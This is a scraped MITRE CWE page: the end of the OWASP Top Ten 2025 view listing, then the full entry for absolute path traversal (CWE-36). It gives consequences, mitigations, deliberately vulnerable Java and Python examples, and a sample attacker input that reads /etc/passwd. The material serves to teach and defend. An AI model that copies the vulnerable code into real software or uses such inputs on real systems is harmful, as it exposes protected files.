1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1444 (OWASP Top Ten 2025 Category A09:2025 - Logging & Alerting Failures) > 221 (Information Loss or Omission)
The product does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Omission of Security-relevant Information - (223)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1444 (OWASP Top Ten 2025 Category A09:2025 - Logging & Alerting Failures) > 223 (Omission of Security-relevant Information)
The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insertion of Sensitive Information into Log File - (532)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1444 (OWASP Top Ten 2025 Category A09:2025 - Logging & Alerting Failures) > 532 (Insertion of Sensitive Information into Log File)
The product writes sensitive information to a log file.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insufficient Logging - (778)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1444 (OWASP Top Ten 2025 Category A09:2025 - Logging & Alerting Failures) > 778 (Insufficient Logging)
When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions - (1445)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions)
Weaknesses in this category are related to the A10 category "Mishandling of Exceptional Conditions" in the OWASP Top Ten 2025.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Generation of Error Message Containing Sensitive Information - (209)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 209 (Generation of Error Message Containing Sensitive Information)
The product generates an error message that includes sensitive information about its environment, users, or associated data.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insertion of Sensitive Information Into Debugging Code - (215)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 215 (Insertion of Sensitive Information Into Debugging Code)
The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Failure to Handle Missing Parameter - (234)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 234 (Failure to Handle Missing Parameter)
If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Extra Parameters - (235)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 235 (Improper Handling of Extra Parameters)
The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Uncaught Exception - (248)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 248 (Uncaught Exception)
An exception is thrown from a function, but it is not caught.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unchecked Return Value - (252)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 252 (Unchecked Return Value)
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Insufficient Privileges - (274)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 274 (Improper Handling of Insufficient Privileges)
The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Insufficient Permissions or Privileges - (280)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 280 (Improper Handling of Insufficient Permissions or Privileges )
The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Divide By Zero - (369)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 369 (Divide By Zero)
The product divides a value by zero.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Detection of Error Condition Without Action - (390)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 390 (Detection of Error Condition Without Action)
The product detects a specific error, but takes no actions to handle the error.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unchecked Error Condition - (391)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 391 (Unchecked Error Condition)
[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unexpected Status Code or Return Value - (394)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 394 (Unexpected Status Code or Return Value)
The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Declaration of Catch for Generic Exception - (396)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 396 (Declaration of Catch for Generic Exception)
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Declaration of Throws for Generic Exception - (397)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 397 (Declaration of Throws for Generic Exception)
The product throws or raises an overly broad exceptions that can hide important details and produce inappropriate responses to certain conditions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Cleanup on Thrown Exception - (460)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 460 (Improper Cleanup on Thrown Exception)
The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. NULL Pointer Dereference - (476)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 476 (NULL Pointer Dereference)
The product dereferences a pointer that it expects to be valid but is NULL. NPD null deref NPE nil pointer dereference
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Default Case in Multiple Condition Expression - (478)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 478 (Missing Default Case in Multiple Condition Expression)
The code does not have a default case in an expression with multiple conditions, such as a switch statement.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Omitted Break Statement in Switch - (484)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 484 (Omitted Break Statement in Switch)
The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Server-generated Error Message Containing Sensitive Information - (550)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 550 (Server-generated Error Message Containing Sensitive Information)
Certain conditions, such as network failure, will cause a server error message to be displayed.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Not Failing Securely ('Failing Open') - (636)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 636 (Not Failing Securely ('Failing Open'))
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions. Failing Open
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Check or Handling of Exceptional Conditions - (703)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 703 (Improper Check or Handling of Exceptional Conditions)
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Check for Unusual or Exceptional Conditions - (754)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 754 (Improper Check for Unusual or Exceptional Conditions)
The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Handling of Exceptional Conditions - (755)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 755 (Improper Handling of Exceptional Conditions)
The product does not handle or incorrectly handles an exceptional condition.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Custom Error Page - (756)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1445 (OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions) > 756 (Missing Custom Error Page)
The product does not return custom error pages to the user, possibly exposing sensitive information.
Back to top
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: View

Rationale:

This entry is a View. Views are not weaknesses and therefore inappropriate to describe the root causes of vulnerabilities.

Comments:

Use this View or other Views to search and navigate for the appropriate weakness.
+ Notes

Maintenance

As of CWE 4.19, the relationships in this view were pulled directly from the CWE mappings cited in the 2025 OWASP Top Ten RC1. These mappings include categories and high-level weaknesses. One mapping to a deprecated entry was removed. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.
+ References
[REF-1500] "OWASP Top 10:2025 RC1". OWASP. 2025-11-06. <https://owasp.org/Top10/2025/0x00_2025-Introduction/>. URL validated: 2025-12-01.
+ View Metrics
CWEs in this view Total CWEs
Weaknesses 246 out of 944
Categories 13 out of 385
Views 0 out of 54
Total 259 out of 1383
+ Content History
+ Submissions
Submission Date Submitter Organization
2024-12-01
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
more

View Components

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-36: Absolute Path Traversal

Weakness ID: 36
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
+ Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Execute Unauthorized Code or Commands

Scope: Integrity, Confidentiality, Availability

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Modify Files or Directories

Scope: Integrity

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Read Files or Directories

Scope: Confidentiality

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

DoS: Crash, Exit, or Restart

Scope: Availability

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.
+ Potential Mitigations
Phase(s) Mitigation

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 37 Path Traversal: '/absolute/pathname/here'
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 38 Path Traversal: '\absolute\pathname\here'
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 39 Path Traversal: 'C:dirname'
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 40 Path Traversal: '\\UNC\share\name\' (Windows UNC Share)
+ Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Web Based (Undetermined Prevalence)

AI/ML (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.



Example 2


This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

(bad code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.

(good code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Product for managing datasets for AI model training and evaluation allows both relative (CWE-23) and absolute (CWE-36) path traversal to overwrite files via the Content-Disposition header
Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.
Multiple FTP clients write arbitrary files via absolute paths in server responses
ZIP file extractor allows full path
Path traversal using absolute pathname
Path traversal using absolute pathname
Path traversal using absolute pathname
Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.
Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.
Remote attackers can read arbitrary files via an absolute pathname.
Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .
FTP server read/access arbitrary files using "C:\" filenames
FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 981 SFP Secondary Cluster: Path Traversal
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1404 Comprehensive Categorization: File Handling
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Absolute Path Traversal
Software Fault Patterns SFP16 Path Traversal
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
[REF-1448] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: Eliminating Directory Traversal Vulnerabilities in Software". 2024-05-02.
<https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-directory-traversal-vulnerabilities-software>. (URL validated: 2024-07-14)
[REF-1481] D3FEND. "D3FEND: Application Layer Firewall".
<https://d3fend.mitre.org/dao/artifact/d3f:ApplicationLayerFirewall/>. (URL validated: 2025-09-06)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Affected_Resources, Applicable_Platforms, Functional_Areas, Observed_Examples, Potential_Mitigations, References
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Demonstrative_Examples
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated References
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Common_Consequences, Description
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-06-21 CWE Content Team MITRE
